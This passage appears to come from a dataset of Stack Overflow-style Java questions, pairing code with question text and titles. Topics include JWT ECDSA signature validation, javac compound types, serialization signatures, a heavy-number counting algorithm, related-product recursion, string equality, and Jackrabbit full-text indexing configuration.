org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:50 ) at org.junit.runners.ParentRunner $ 3.run ( ParentRunner.java:193 ) at org.junit.runners.ParentRunner $ 1.schedule ( ParentRunner.java:52 ) at org.junit.runners.ParentRunner.runChildren ( ParentRunner.java:191 ) at org.junit.runners.ParentRunner.access $ 000 ( ParentRunner.java:42 ) at org.junit.runners.ParentRunner $ 2.evaluate ( ParentRunner.java:184 ) at org.junit.runners.ParentRunner.run ( ParentRunner.java:236 ) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run ( JUnit4TestReference.java:89 ) at org.eclipse.jdt.internal.junit.runner.TestExecution.run ( TestExecution.java:41 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests ( RemoteTestRunner.java:541 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests ( RemoteTestRunner.java:763 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run ( RemoteTestRunner.java:463 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main ( RemoteTestRunner.java:209 ) import com.fasterxml.jackson.databind.JsonNode ; import com.fasterxml.jackson.databind.ObjectMapper ; import java.io.IOException ; import java.math.BigInteger ; import java.security.AlgorithmParameters ; import java.security.InvalidKeyException ; import java.security.KeyFactory ; import java.security.NoSuchAlgorithmException ; import java.security.Signature ; import java.security.SignatureException ; import java.security.interfaces.ECPublicKey ; import java.security.spec.ECGenParameterSpec ; import java.security.spec.ECParameterSpec ; import java.security.spec.ECPoint ; import java.security.spec.ECPublicKeySpec ; import java.security.spec.InvalidKeySpecException ; import java.security.spec.InvalidParameterSpecException ; import java.util.Base64 ; import java.util.Base64.Decoder ; import java.util.Base64.Encoder ; public class ValidateJWT { final Decoder urlDecoder = Base64.getUrlDecoder ( ) ; final Encoder urlEncoder = Base64.getUrlEncoder ( ) ; final Decoder decoder = Base64.getDecoder ( ) ; final Encoder encoder = Base64.getEncoder ( ) ; final ObjectMapper objectMapper = new ObjectMapper ( ) ; public boolean validateEllipticCurve ( final String JWT , final String PUBLICKEY ) throws IOException { final String [ ] at_arr = JWT.split ( `` \\ . `` ) ; final String headerB64u = at_arr [ 0 ] ; final String payloadB64u = at_arr [ 1 ] ; final String signed_data = headerB64u + `` . '' + payloadB64u ; final byte [ ] signature = urlDecoder.decode ( at_arr [ 2 ] ) ; final byte [ ] at_headerJSON = urlDecoder.decode ( headerB64u ) ; final JsonNode pkRoot = objectMapper.readTree ( PUBLICKEY ) ; final String xStr = pkRoot.get ( `` x '' ) .textValue ( ) ; final String yStr = pkRoot.get ( `` y '' ) .textValue ( ) ; final byte xArr [ ] = decoder.decode ( xStr ) ; final byte yArr [ ] = decoder.decode ( yStr ) ; final BigInteger x = new BigInteger ( xArr ) ; final BigInteger y = new BigInteger ( yArr ) ; try { final AlgorithmParameters parameters = AlgorithmParameters .getInstance ( `` EC '' ) ; parameters.init ( new ECGenParameterSpec ( `` secp256k1 '' ) ) ; final ECParameterSpec ecParameterSpec = parameters .getParameterSpec ( ECParameterSpec.class ) ; final KeyFactory keyFactory = KeyFactory.getInstance ( `` EC '' ) ; final ECPoint ecPoint = new ECPoint ( x , y ) ; final ECPublicKeySpec keySpec = new ECPublicKeySpec ( ecPoint , ecParameterSpec ) ; final ECPublicKey publicKey = ( ECPublicKey ) keyFactory .generatePublic ( keySpec ) ; final JsonNode key_root = objectMapper.readTree ( at_headerJSON ) ; final String alg = key_root.get ( `` alg '' ) .textValue ( ) ; Signature dataVerifyingInstance = null ; switch ( alg ) { case `` ES256 '' : dataVerifyingInstance = Signature.getInstance ( `` SHA256withECDSA '' ) ; break ; case `` ES384 '' : dataVerifyingInstance = Signature.getInstance ( `` SHA384withECDSA '' ) ; break ; case `` ES512 '' : dataVerifyingInstance = Signature.getInstance ( `` SHA512withECDSA '' ) ; break ; } dataVerifyingInstance.initVerify ( publicKey ) ; dataVerifyingInstance.update ( signed_data.getBytes ( ) ) ; final boolean verification = dataVerifyingInstance.verify ( signature ) ; return verification ; } catch ( final SignatureException | InvalidKeySpecException | InvalidKeyException | InvalidParameterSpecException | NoSuchAlgorithmException ex ) { ex.printStackTrace ( ) ; return false ; } } } final boolean verification = dataVerifyingInstance.verify ( signature ) ; // < == here",ES256 JWT validation - SignatureException : invalid encoding for signature : java.io.IOException : Sequence tag error +Java,In open-jdk 7-b147 in class com.sun.tools.javac.code.Type we have the following method What does mean compound type in Java ?,public boolean isCompound ( ) { return tsym.completer==null // Compound types ca n't have a completer . Calling // flags ( ) will complete the symbol causing the // compiler to load classes unnecessarily . This led // to regression 6180021 . & & ( tsym.flags ( ) & COMPOUND ) ! =0 ; },Compound type in java +Java,"All , Due to a bug in a library I 'm using , I need to override the dispose ( ) method on all objects extending a certain class and make it a NO-OP . I know that if I 'm making new instances of the classes directly , this is easy to do : The problem is that a lot of the object instances I get are not directly constructed by my client code , but instead are created via static library method calls.Is there a way I can inject my dispose method into that statically created object without modifying the original sourcecode ?","layerManager = new LayerManagerLayer ( wwd ) { @ Override public void dispose ( ) { } } ; // Here I want to override the dispose method , but I can not .Layer l = ShapefileLoader.makeShapefileLayer ( this.getClass ( ) .getResource ( `` polylines10.shp '' ) ) ;",Overriding a method in statically created objects +Java,The signature for readObject is : which takes in a reference of a concrete class type.The signature for readExternal is : which takes in a reference of an interface type.So why this discrepency ? Is it just an oversight ?,"private void readObject ( java.io.ObjectInputStream in ) throws IOException , ClassNotFoundException ; void readExternal ( ObjectInput in ) throws IOException , ClassNotFoundException",Java Serialization readObject input vs readExternal input +Java,"I need to find the number of heavy integers between two integers A and B , where A < = B at all times.An integer is considered heavy whenever the average of it 's digit is larger than 7.For example : 9878 is considered heavy , because ( 9 + 8 + 7 + 8 ) /4 = 8 , while 1111 is not , since ( 1 + 1 + 1 + 1 ) /4 = 1.I have the solution below , but it 's absolutely terrible and it times out when run with large inputs . What can I do to make it more efficient ?","int countHeavy ( int A , int B ) { int countHeavy = 0 ; while ( A < = B ) { if ( averageOfDigits ( A ) > 7 ) { countHeavy++ ; } A++ ; } return countHeavy ; } float averageOfDigits ( int a ) { float result = 0 ; int count = 0 ; while ( a > 0 ) { result += ( a % 10 ) ; count++ ; a = a / 10 ; } return result / count ; }",Optimal and efficient solution for the heavy number calculation ? +Java,"I have a class Product to hold a specific instance of a given product.This class has a list of related products that are similar to main product.I want to define a method within Product class to get top N ( best rated ) related products . This method should take into consideration that elements in RelatedProducts list are of type Product and they also have their own RelatedProducts list . So I should keep navigating nested object until all related products were reached and after that , take the top N product . I mean , the solution would not be simply this.RelatedProducts.OrderByDescending ( x = > x.Rating ) .Take ( N ) ; One more thing to keep in mind : Two products can be mutually related . Which means a product A can belong to RelatedProducts list of a product B and B also can belong to RelatedProducts list of product A.Any suggestion how to solve this issue in optimal way ? Imagine , I have millions of products to maintain . How can I navigate all related products recursively and recognize already visited ones ? I tagged this as both C # and Java , as the same logic could be applied to both languages",class Product { public string Name ; public double Rating ; public List < Product > RelatedProducts ; // ... public List < Product > GetTopRelatedProducts ( int N ) { // How to implement this method // What I did so far ( Bad code ) // 1- INFINITE RECURSION // 2- Can not remember visited objects var myList = new List < Product > ( ) ; foreach ( Product prod in RelatedProducts ) { myList.AddRange ( prod.GetTopRelatedProducts ( N ) ) ; } return myList.Distinct ( ) .OrderByDescending ( x = > x.Rating ) .Take ( N ) .ToList ( ) ; } },Select top N elements of related objects +Java,"I use the == in the code below and prints out `` Equals ! `` , why ? Can someone explain why these two different strings a and b are equal ?",public class test { public static void main ( ) { String a = `` boy '' ; String b = `` boy '' ; if ( a == b ) { System.out.println ( `` Equals ! `` ) ; } else { System.out.println ( `` Does not equal ! `` ) ; } } },Checking For Equal Instances of 2 Different ( Included Example ) +Java,"I 'm ussing the Appache Jackrabbit JCA 2.7.5 , the problem is that files .docx and .xlsx is not indexed.My steps : Deploy the Jackrabbit JCA as resource adapter on glassfishcreate a Connector Connection Pool for the resource adapter indicating the ConfigFile=path/to/the/repository.xml and HomeDir=path/to/the //miss the repository.xmlcreate a Connector Resources for the connector pool ( the jndi ) create web applicationcreate class to get session from the connector ressources ( code below ) Create custom filetypeCreate the abstract class for persistenceCreate the beanMy configuration files : repository.xmltika-config.xmlAll query from the bean work except when I call the function public List < Fichier > findAllByContains ( String path , String motCles ) to fulltext search into .docx and .xslx document . Fulltext search on .pdf , .txt , .xml , .xls , .doc , ... work perfectly .","import java.io.Serializable ; import java.net.MalformedURLException ; import javax.annotation.Resource ; import javax.ejb.Stateless ; import javax.jcr.LoginException ; import javax.jcr.Repository ; import javax.jcr.RepositoryException ; import javax.jcr.Session ; import javax.jcr.SimpleCredentials ; import javax.naming.InitialContext ; import javax.naming.NamingException ; @ Statelesspublic class OcmRepository implements Serializable { public Repository repository ; public Session session ; public OcmRepository ( ) { } public Session getSession ( String log , String mdp ) throws LoginException , RepositoryException , NamingException , MalformedURLException { InitialContext initalContext = new InitialContext ( ) ; repository = ( Repository ) initalContext.lookup ( `` jndi/jca '' ) ; session = repository.login ( new SimpleCredentials ( log , mdp.toCharArray ( ) ) , null ) ; return session ; } } import javax.jcr.PropertyType ; import javax.jcr.Session ; import javax.jcr.nodetype.NodeType ; import javax.jcr.nodetype.NodeTypeManager ; import javax.jcr.nodetype.NodeTypeTemplate ; import javax.jcr.nodetype.PropertyDefinitionTemplate ; /** * * @ author nathan */public class FileType { public static void RegisterFileType ( Session session ) throws Exception { NodeTypeManager nodeTypeManager = session.getWorkspace ( ) .getNodeTypeManager ( ) ; NodeTypeTemplate nodeType = nodeTypeManager.createNodeTypeTemplate ( ) ; nodeType.setName ( `` FileType '' ) ; String [ ] str = { `` nt : resource '' } ; nodeType.setDeclaredSuperTypeNames ( str ) ; nodeType.setMixin ( false ) ; nodeType.setQueryable ( true ) ; PropertyDefinitionTemplate path = nodeTypeManager.createPropertyDefinitionTemplate ( ) ; path.setName ( `` jcr : path '' ) ; path.setRequiredType ( PropertyType.PATH ) ; path.setQueryOrderable ( false ) ; path.setFullTextSearchable ( false ) ; nodeType.getPropertyDefinitionTemplates ( ) .add ( path ) ; PropertyDefinitionTemplate nom = nodeTypeManager.createPropertyDefinitionTemplate ( ) ; nom.setName ( `` jcr : nom '' ) ; nom.setRequiredType ( PropertyType.STRING ) ; nom.setQueryOrderable ( true ) ; nom.setFullTextSearchable ( true ) ; nodeType.getPropertyDefinitionTemplates ( ) .add ( nom ) ; PropertyDefinitionTemplate description = nodeTypeManager.createPropertyDefinitionTemplate ( ) ; description.setName ( `` jcr : description '' ) ; description.setRequiredType ( PropertyType.STRING ) ; description.setQueryOrderable ( true ) ; description.setFullTextSearchable ( true ) ; nodeType.getPropertyDefinitionTemplates ( ) .add ( description ) ; PropertyDefinitionTemplate motsCles = nodeTypeManager.createPropertyDefinitionTemplate ( ) ; motsCles.setName ( `` jcr : motsCles '' ) ; motsCles.setRequiredType ( PropertyType.STRING ) ; motsCles.setQueryOrderable ( true ) ; motsCles.setFullTextSearchable ( true ) ; nodeType.getPropertyDefinitionTemplates ( ) .add ( motsCles ) ; PropertyDefinitionTemplate size = nodeTypeManager.createPropertyDefinitionTemplate ( ) ; size.setName ( `` jcr : size '' ) ; size.setRequiredType ( PropertyType.STRING ) ; size.setQueryOrderable ( true ) ; size.setFullTextSearchable ( false ) ; nodeType.getPropertyDefinitionTemplates ( ) .add ( size ) ; PropertyDefinitionTemplate users = nodeTypeManager.createPropertyDefinitionTemplate ( ) ; users.setName ( `` jcr : users '' ) ; users.setRequiredType ( PropertyType.STRING ) ; users.setQueryOrderable ( true ) ; users.setFullTextSearchable ( false ) ; nodeType.getPropertyDefinitionTemplates ( ) .add ( users ) ; PropertyDefinitionTemplate groupe = nodeTypeManager.createPropertyDefinitionTemplate ( ) ; groupe.setName ( `` jcr : groupe '' ) ; groupe.setRequiredType ( PropertyType.STRING ) ; groupe.setQueryOrderable ( true ) ; groupe.setFullTextSearchable ( false ) ; nodeType.getPropertyDefinitionTemplates ( ) .add ( groupe ) ; NodeType newnodetype = nodeTypeManager.registerNodeType ( nodeType , true ) ; session.save ( ) ; } } import java.util.ArrayList ; import java.util.List ; import java.util.Map ; import javax.jcr.Session ; import org.apache.jackrabbit.ocm.query.Filter ; import org.apache.jackrabbit.ocm.query.impl.FilterImpl ; import org.apache.jackrabbit.ocm.query.impl.QueryImpl ; import org.apache.jackrabbit.ocm.query.Query ; import org.apache.jackrabbit.ocm.query.QueryManager ; import org.apache.jackrabbit.ocm.manager.ObjectContentManager ; import org.apache.jackrabbit.ocm.manager.impl.ObjectContentManagerImpl ; import org.apache.jackrabbit.ocm.mapper.Mapper ; import org.apache.jackrabbit.ocm.mapper.impl.annotation.AnnotationMapperImpl ; import org.apache.jackrabbit.ocm.reflection.ReflectionUtils ; /** * * @ author nathan */public abstract class AbstractBean < T > { private Class < T > entityClass ; private ObjectContentManager ocm ; private Mapper mapper ; public AbstractBean ( Class < T > entityClass ) { this.entityClass = entityClass ; } /** * Construct the Bean according to the extended class * This will be also construct the ObjectContentManager nammed ocm with the default Mapper * @ param session javax.jcr.Session attached to the Bean * @ return The mapping class found for the desired java bean class */ public AbstractBean ( Class < T > entityClass , Session session ) { this.entityClass = entityClass ; ocm = new ObjectContentManagerImpl ( session , this.getDefaultMapper ( ) ) ; } /** * @ return ObjectContentManager of the Bean */ public ObjectContentManager getOcm ( ) throws Exception { return ocm ; } /** * Construct the Bean according to the extended class * This will be also construct the ObjectContentManager nammed ocm with the param Mapper given * @ param session from `` javax.jcr.Session '' attached to the Bean * @ param map from `` org.apache.jackrabbit.ocm.mapper.Mapper '' which * is the use to map entity between apllication and The repository * @ return ObjectContentManager of the Bean */ public ObjectContentManager getOcm ( Session session , Mapper map ) throws Exception { return new ObjectContentManagerImpl ( session , map ) ; } public void setOcm ( ObjectContentManager ocm ) { this.ocm = ocm ; } private Mapper getDefaultMapper ( ) { ReflectionUtils.setClassLoader ( com.ged.ocm.entity.Groupe.class.getClassLoader ( ) ) ; List < Class > classes = new ArrayList < Class > ( ) ; classes.add ( com.ged.ocm.entity.Fichier.class ) ; classes.add ( com.ged.ocm.entity.Dossier.class ) ; classes.add ( com.ged.ocm.entity.Groupe.class ) ; classes.add ( com.ged.ocm.entity.SimpleNode.class ) ; return new AnnotationMapperImpl ( classes ) ; } public Mapper getMapper ( ) { return mapper ; } public void setMapper ( Mapper mapper ) { this.mapper = mapper ; } public void setLoader ( Class classe ) { ReflectionUtils.setClassLoader ( classe.getClassLoader ( ) ) ; } public void create ( T entity ) { ocm.insert ( entity ) ; ocm.save ( ) ; } public void edit ( T entity ) { ocm.update ( entity ) ; ocm.save ( ) ; } public void remove ( T entity ) { ocm.remove ( entity ) ; ocm.save ( ) ; } public void refresh ( ) { ocm.refresh ( true ) ; ocm.save ( ) ; } public void copy ( String orgPath , String destPath ) { ocm.copy ( orgPath , destPath ) ; ocm.save ( ) ; } public void move ( String orgPath , String destPath ) { ocm.move ( orgPath , destPath ) ; ocm.save ( ) ; } public void removeByPath ( String path ) { ocm.remove ( path ) ; ocm.save ( ) ; } public void removeAllByEqual ( Map < String , String > filters ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; for ( String key : filters.keySet ( ) ) filter.addEqualTo ( key , filters.get ( key ) ) ; Query query = queryManager.createQuery ( filter ) ; ocm.remove ( query ) ; ocm.save ( ) ; } public void removeAllByEqual ( String nodePath , Map < String , String > filters ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( nodePath ) ; for ( String key : filters.keySet ( ) ) filter.addEqualTo ( key , filters.get ( key ) ) ; Query query = queryManager.createQuery ( filter ) ; ocm.remove ( query ) ; ocm.save ( ) ; } public boolean isPathExist ( String path ) { return ocm.objectExists ( path ) ; } public T findByPath ( String path ) { try { return ( T ) ocm.getObject ( path ) ; } catch ( Exception e ) { return null ; } } public T findOneByEqual ( Map < String , String > filters ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; for ( String key : filters.keySet ( ) ) filter.addEqualTo ( key , filters.get ( key ) ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; T result = null ; try { result = results.get ( 0 ) ; } catch ( Exception e ) { } return result ; } public List < T > findAllByEqual ( Map < String , String > filters ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( `` // '' ) ; for ( String key : filters.keySet ( ) ) filter.addEqualTo ( key , filters.get ( key ) ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; return results ; } public List < T > findAllByLike ( Map < String , String > filters ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( `` // '' ) ; for ( String key : filters.keySet ( ) ) filter.addLike ( key , filters.get ( key ) ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; return results ; } public List < T > findAllByLikeScoped ( String scope , Map < String , String > filters ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( scope ) ; for ( String key : filters.keySet ( ) ) filter.addLike ( key , filters.get ( key ) ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; return results ; } public List < T > findAllByOrLike ( String attr , String [ ] val ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( `` // '' ) ; filter.addOrFilter ( attr , val ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; return results ; } public T findOneByEqual ( String nodePath , Map < String , String > filters ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( nodePath ) ; for ( String key : filters.keySet ( ) ) filter.addEqualTo ( key , filters.get ( key ) ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; T result = results.get ( 0 ) ; return result ; } public List < T > findAllByEqual ( String nodePath , Map < String , String > filters ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( nodePath ) ; for ( String key : filters.keySet ( ) ) filter.addEqualTo ( key , filters.get ( key ) ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; return results ; } public List < T > findAllByString ( String query ) { List < T > results = ( List < T > ) ocm.getObjects ( query , javax.jcr.query.Query.JCR_SQL2 ) ; return results ; } public List < T > findAllByParentPath ( String nodePath ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( nodePath ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; return results ; } public List < T > findAllByParentPathOrder ( String nodePath , String ordering ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( nodePath ) ; Query query = queryManager.createQuery ( filter ) ; // query.addOrderByDescending ( ordering ) ; query.addOrderByAscending ( ordering ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; return results ; } public int coutChild ( String nodePath ) { QueryManager queryManager = ocm.getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( entityClass ) ; filter.setScope ( nodePath ) ; Query query = queryManager.createQuery ( filter ) ; List < T > results = ( List < T > ) ocm.getObjects ( query ) ; return results.size ( ) ; } public boolean ifExistByPath ( String path ) { return ocm.objectExists ( path ) ; } public String getParentPath ( String path ) { String parent= '' '' ; String [ ] tmp=path.split ( `` / '' ) ; for ( int i = 1 ; i < ( tmp.length-1 ) ; i++ ) { parent+= '' / '' +tmp [ i ] ; } return parent ; } } import javax.ejb.Stateless ; import com.ged.ocm.entity.Fichier ; import java.io.InputStream ; import java.util.ArrayList ; import java.util.List ; import java.util.Map ; import javax.jcr.Node ; import javax.jcr.NodeIterator ; import javax.jcr.Session ; import javax.jcr.Workspace ; import javax.jcr.query.QueryResult ; import javax.jcr.query.qom.FullTextSearch ; import javax.jcr.query.qom.StaticOperand ; import org.apache.jackrabbit.ocm.query.Filter ; import org.apache.jackrabbit.ocm.query.Query ; import org.apache.jackrabbit.ocm.query.QueryManager ; @ Statelesspublic class FichierBean extends AbstractBean < Fichier > { public FichierBean ( ) { super ( Fichier.class ) ; } public FichierBean ( Session session ) { super ( Fichier.class , session ) ; } public List < Fichier > findAllByContains ( String motCles ) throws Exception { String requette = `` SELECT * FROM FileType AS Res WHERE CONTAINS ( Res . * , '* '' +motCles+ '' * ' ) '' ; List < Fichier > results = ( List < Fichier > ) this.getOcm ( ) .getObjects ( requette , javax.jcr.query.Query.JCR_SQL2 ) ; return results ; } public List < Fichier > findAllByContains ( String path , String motCles ) throws Exception { String requette = `` SELECT * FROM FileType AS Res WHERE CONTAINS ( Res . * , '* '' +motCles+ '' * ' ) ORDER BY Res.nom '' ; List < Fichier > tmp = ( List < Fichier > ) this.getOcm ( ) .getObjects ( requette , javax.jcr.query.Query.JCR_SQL2 ) ; List < Fichier > results = new ArrayList < Fichier > ( ) ; for ( Fichier fichier : tmp ) { if ( fichier.getPath ( ) .startsWith ( path ) ) results.add ( fichier ) ; } return results ; } public List < Fichier > fulltextByOCM ( String motCles ) throws Exception { QueryManager queryManager = this.getOcm ( ) .getQueryManager ( ) ; Filter filter ; filter = queryManager.createFilter ( com.ged.ocm.entity.Fichier.class ) ; filter.addContains ( `` . `` , `` * '' +motCles+ '' * '' ) ; Query query = queryManager.createQuery ( filter ) ; List < Fichier > results = ( List < Fichier > ) this.getOcm ( ) .getObjects ( query ) ; return results ; } } < ? xml version= '' 1.0 '' ? > < ! DOCTYPE Repository PUBLIC `` -//The Apache Software Foundation//DTD Jackrabbit 1.6//EN '' `` http : //jackrabbit.apache.org/dtd/repository-1.6.dtd '' > < Repository > < FileSystem class= '' org.apache.jackrabbit.core.fs.local.LocalFileSystem '' > < param name= '' path '' value= '' $ { rep.home } /repository '' / > < /FileSystem > -- > < FileSystem class= '' org.apache.jackrabbit.core.fs.db.DbFileSystem '' > < param name= '' driver '' value= '' com.mysql.jdbc.jdbc2.optional.MysqlDataSource '' / > < param name= '' url '' value= '' jdbc : mysql : //:3306/db_ged_mysql '' / > < param name= '' user '' value= '' root '' / > < param name= '' password '' value= '' root '' / > < param name= '' schema '' value= '' mysql '' / > < param name= '' schemaObjectPrefix '' value= '' J_R_FS_ '' / > < /FileSystem > < ! -- security configuration -- > < Security appName= '' Jackrabbit '' > < AccessManager class= '' org.apache.jackrabbit.core.security.SimpleAccessManager '' / > < LoginModule class= '' org.apache.jackrabbit.core.security.SimpleLoginModule '' > < param name= '' anonymousId '' value= '' anonymous '' / > < /LoginModule > < /Security > < ! -- location of workspaces root directory and name of default workspace -- > < Workspaces rootPath= '' $ { rep.home } /workspaces '' defaultWorkspace= '' default '' / > < ! -- workspace configuration template : used to create the initial workspace if there 's no workspace yet -- > < Workspace name= '' $ { wsp.name } '' > < PersistenceManager class= '' org.apache.jackrabbit.core.state.db.SimpleDbPersistenceManager '' > < param name= '' driver '' value= '' com.mysql.jdbc.jdbc2.optional.MysqlDataSource '' / > < param name= '' url '' value= '' jdbc : mysql : //:3306/db_ged_mysql '' / > < param name= '' user '' value= '' root '' / > < param name= '' password '' value= '' root '' / > < param name= '' schema '' value= '' mysql '' / > < param name= '' schemaObjectPrefix '' value= '' J_PM_ $ { wsp.name } _ '' / > < param name= '' externalBLOBs '' value= '' false '' / > < /PersistenceManager > < FileSystem class= '' org.apache.jackrabbit.core.fs.db.DbFileSystem '' > < param name= '' driver '' value= '' com.mysql.jdbc.jdbc2.optional.MysqlDataSource '' / > < param name= '' url '' value= '' jdbc : mysql : //:3306/db_ged_mysql '' / > < param name= '' user '' value= '' root '' / > < param name= '' password '' value= '' root '' / > < param name= '' schema '' value= '' mysql '' / > < param name= '' schemaObjectPrefix '' value= '' J_FS_ $ { wsp.name } _ '' / > < /FileSystem > < ! -- Search index and the file system it uses . class : FQN of class implementing the QueryHandler interface -- > < SearchIndex class= '' org.apache.jackrabbit.core.query.lucene.SearchIndex '' > < param name= '' path '' value= '' $ { rep.home } /workspaces/ $ { wsp.name } /index '' / > < param name= '' tikaConfigPath '' value= '' $ { rep.home } /tika-config.xml '' / > < param name= '' useCompoundFile '' value= '' true '' / > < param name= '' minMergeDocs '' value= '' 100 '' / > < param name= '' volatileIdleTime '' value= '' 3 '' / > < param name= '' maxMergeDocs '' value= '' 2147483647 '' / > < param name= '' mergeFactor '' value= '' 10 '' / > < param name= '' maxFieldLength '' value= '' 10000 '' / > < param name= '' bufferSize '' value= '' 10 '' / > < param name= '' cacheSize '' value= '' 1000 '' / > < param name= '' forceConsistencyCheck '' value= '' false '' / > < param name= '' enableConsistencyCheck '' value= '' false '' / > < param name= '' autoRepair '' value= '' true '' / > < param name= '' analyzer '' value= '' org.apache.lucene.analysis.standard.StandardAnalyzer '' / > < param name= '' queryClass '' value= '' org.apache.jackrabbit.core.query.QueryImpl '' / > < param name= '' respectDocumentOrder '' value= '' true '' / > < param name= '' resultFetchSize '' value= '' 2147483647 '' / > < param name= '' extractorPoolSize '' value= '' 0 '' / > < param name= '' extractorTimeout '' value= '' 100 '' / > < param name= '' extractorBackLogSize '' value= '' 100 '' / > < param name= '' supportHighlighting '' value= '' true '' / > < param name= '' excerptProviderClass '' value= '' org.apache.jackrabbit.core.query.lucene.DefaultXMLExcerpt '' / > < /SearchIndex > < /Workspace > < ! -- Configures the versioning -- > < Versioning rootPath= '' $ { rep.home } /version '' > < FileSystem class= '' org.apache.jackrabbit.core.fs.db.DbFileSystem '' > < param name= '' driver '' value= '' com.mysql.jdbc.jdbc2.optional.MysqlDataSource '' / > < param name= '' url '' value= '' jdbc : mysql : //:3306/db_ged_mysql '' / > < param name= '' user '' value= '' root '' / > < param name= '' password '' value= '' root '' / > < param name= '' schema '' value= '' mysql '' / > < param name= '' schemaObjectPrefix '' value= '' J_V_FS_ '' / > < /FileSystem > < PersistenceManager class= '' org.apache.jackrabbit.core.state.db.SimpleDbPersistenceManager '' > < param name= '' driver '' value= '' com.mysql.jdbc.jdbc2.optional.MysqlDataSource '' / > < param name= '' url '' value= '' jdbc : mysql : //:3306/db_ged_mysql '' / > < param name= '' user '' value= '' root '' / > < param name= '' password '' value= '' root '' / > < param name= '' schema '' value= '' mysql '' / > < param name= '' schemaObjectPrefix '' value= '' J_V_PM_ '' / > < param name= '' externalBLOBs '' value= '' false '' / > < /PersistenceManager > < /Versioning > < ! -- Search index for content that is shared repository wide ( /jcr : system tree , contains mainly versions ) < SearchIndex class= '' org.apache.jackrabbit.core.query.lucene.SearchIndex '' > < param name= '' path '' value= '' $ { rep.home } /repository/index '' / > < param name= '' extractorPoolSize '' value= '' 2 '' / > < param name= '' supportHighlighting '' value= '' true '' / > < /SearchIndex > -- > < ! -- Cluster configuration with system variables. -- > < RepositoryLockMechanism class= '' org.apache.jackrabbit.core.util.CooperativeFileLock '' / > < /Repository > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < properties > < mimeTypeRepository resource= '' /org/apache/tika/mime/tika-mimetypes.xml '' magic= '' false '' / > < parsers > < parser name= '' parse-dcxml '' class= '' org.apache.tika.parser.xml.DcXMLParser '' > < mime > application/xml < /mime > < mime > image/svg+xml < /mime > < /parser > < parser name= '' parse-office '' class= '' org.apache.tika.parser.microsoft.OfficeParser '' > < mime > application/x-tika-msoffice < /mime > < mime > application/msword < /mime > < mime > application/vnd.ms-excel < /mime > < mime > application/vnd.ms-excel.sheet.binary.macroenabled.12 < /mime > < mime > application/vnd.ms-powerpoint < /mime > < mime > application/vnd.visio < /mime > < mime > application/vnd.ms-outlook < /mime > < /parser > < parser name= '' parse-ooxml '' class= '' org.apache.tika.parser.microsoft.ooxml.OOXMLParser '' > < mime > application/x-tika-ooxml < /mime > < mime > application/vnd.openxmlformats-package.core-properties+xml < /mime > < mime > application/vnd.openxmlformats-officedocument.spreadsheetml.sheet < /mime > < mime > application/vnd.openxmlformats-officedocument.spreadsheetml.template < /mime > < mime > application/vnd.ms-excel.sheet.macroenabled.12 < /mime > < mime > application/vnd.ms-excel.template.macroenabled.12 < /mime > < mime > application/vnd.ms-excel.addin.macroenabled.12 < /mime > < mime > application/vnd.openxmlformats-officedocument.presentationml.presentation < /mime > < mime > application/vnd.openxmlformats-officedocument.presentationml.template < /mime > < mime > application/vnd.openxmlformats-officedocument.presentationml.slideshow < /mime > < mime > application/vnd.ms-powerpoint.presentation.macroenabled.12 < /mime > < mime > application/vnd.ms-powerpoint.slideshow.macroenabled.12 < /mime > < mime > application/vnd.ms-powerpoint.addin.macroenabled.12 < /mime > < mime > application/vnd.openxmlformats-officedocument.wordprocessingml.document < /mime > < mime > application/vnd.openxmlformats-officedocument.wordprocessingml.template < /mime > < mime > application/vnd.ms-word.document.macroenabled.12 < /mime > < mime > application/vnd.ms-word.template.macroenabled.12 < /mime > < /parser > < parser name= '' parse-html '' class= '' org.apache.tika.parser.html.HtmlParser '' > < mime > text/html < /mime > < mime > application/xhtml+xml < /mime > < mime > application/x-asp < /mime > < /parser > < parser mame= '' parse-rtf '' class= '' org.apache.tika.parser.rtf.RTFParser '' > < mime > application/rtf < /mime > < /parser > < parser name= '' parse-pdf 